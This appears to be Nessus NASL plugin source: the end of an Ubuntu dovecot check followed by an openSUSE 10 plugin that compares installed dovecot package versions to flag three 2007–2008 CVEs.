if (ubuntu_check(osver:"7.10", pkgname:"dovecot-pop3d", pkgver:"1:1.0.5-1ubuntu2.2")) flag++;

if (flag)
{
  security_report_v4(
    port       : 0,
    severity   : SECURITY_WARNING,
    extra      : ubuntu_report_get()
  );
  exit(0);
}
else
{
  tested = ubuntu_pkg_tests_get();
  if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
  else audit(AUDIT_PACKAGE_NOT_INSTALLED, "dovecot-common / dovecot-imapd / dovecot-pop3d");
}

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were
# extracted from openSUSE Security Update dovecot-5647.
#
# The text description of this plugin is (C) SUSE LLC.
#

include("compat.inc");

if (description)
{
  script_id(34320);
  script_version ("1.9");
  script_cvs_date("Date: 2019/10/25 13:36:32");

  script_cve_id("CVE-2007-6598", "CVE-2008-1199", "CVE-2008-1218");

  script_name(english:"openSUSE 10 Security Update : dovecot (dovecot-5647)");
  script_summary(english:"Check for the dovecot-5647 patch");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote openSUSE host is missing a security update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"When configured with 'mail_extra_groups' dovecot potentially allowed
users to read mail boxes of other users. This is not the case in the
default configuration of on openSUSE (CVE-2008-1199).

By using tab characters in passwords remote attackers could
potentially acquire unauthorized access (CVE-2008-1218).

Flaws in caching LDAP data could lead to users getting logged in with
the wrong account (CVE-2007-6598)."
  );
  script_set_attribute(
    attribute:"solution", 
    value:"Update the affected dovecot packages."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_cwe_id(16, 59, 255, 264);

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:dovecot");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:dovecot-devel");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:novell:opensuse:10.2");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:novell:opensuse:10.3");

  script_set_attribute(attribute:"patch_publication_date", value:"2008/09/29");
  script_set_attribute(attribute:"plugin_publication_date", value:"2008/10/01");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2008-2019 Tenable Network Security, Inc.");
  script_family(english:"SuSE Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/SuSE/release", "Host/SuSE/rpm-list", "Host/cpu");

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("rpm.inc");

if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
release = get_kb_item("Host/SuSE/release");
if (isnull(release) || release =~ "^(SLED|SLES)") audit(AUDIT_OS_NOT, "openSUSE");
if (release !~ "^(SUSE10\.2|SUSE10\.3)$") audit(AUDIT_OS_RELEASE_NOT, "openSUSE", "10.2 / 10.3", release);
if (!get_kb_item("Host/SuSE/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING);

ourarch = get_kb_item("Host/cpu");
if (!ourarch) audit(AUDIT_UNKNOWN_ARCH);
if (ourarch !~ "^(i586|i686|x86_64)$") audit(AUDIT_ARCH_NOT, "i586 / i686 / x86_64", ourarch);

flag = 0;

if ( rpm_check(release:"SUSE10.2", reference:"dovecot-1.0.rc14-11") ) flag++;
if ( rpm_check(release:"SUSE10.3", reference:"dovecot-1.0.5-6.2") ) flag++;
if ( rpm_check(release:"SUSE10.3", reference:"dovecot-devel-1.0.5-6.2") ) flag++;

if (flag)
{
  if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());
  else security_warning(0);
  exit(0);
}
else
{
  tested = pkg_tests_get();
  if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
  else audit(AUDIT_PACKAGE_NOT_INSTALLED, "dovecot / dovecot-devel");
}